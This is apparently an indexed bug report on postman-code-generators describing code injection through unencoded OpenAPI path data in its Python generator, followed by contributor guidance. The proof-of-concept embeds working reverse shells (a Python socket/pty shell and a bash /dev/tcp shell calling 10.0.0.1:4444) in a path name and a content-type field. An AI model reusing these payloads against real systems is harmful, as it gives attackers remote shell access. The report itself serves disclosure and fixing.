postmanlabs / postmanlabs/postman-code-generators
Python Code Generator does not encode payloads and could be used to inject malicious code
Nobody has claimed this yet.
- Dominant language
- JavaScript
- Stars
- 1k
- Forks
- 381
- PR merge metrics
- No merged PRs in 30d
Description
Describe the bug
Python code generator does not encode payloads and could be used to inject malicious payloads.
To Reproduce
If you create a definition as follows, you can see the Python code generation does not encode the paths data that is sent.
{
"openapi": "3.0.2",
"info": {
"version": "1.0.0",
"title": "Code",
"description": "Code Proof of concept"
},
"paths": {
"/nothing/code-PoC', methods=['get']);import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh');#": {
"get": {
"operationId": "CodeInjection",
"responses": {
"200": {
"description": "Let's do this!",
"content": {
"application/json\"'; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 | echo \"": {}
}
}
}
}
}
}
}
This results in:
from flask import Blueprint, request
from webargs.flaskparser import parser
from marshmallow import Schema, fields
from ..schemas import model
from .. import impl
bp = Blueprint('nothing', __name__)
@bp.route('/nothing/code-PoC', methods=['get']);import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh');#', methods=['get'])
def CodeInjection():
return impl.nothing.CodeInjection()
Screenshots


Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by locating the Python generator entry point that renders OpenAPI paths and reproduce the issue with the supplied definition. Verify the generated route cannot interpret path or payload data as Python or shell code, and add a regression test using the proof-of-concept input if the repository has an applicable test location.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, python
- Domain
- devtools, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 35/100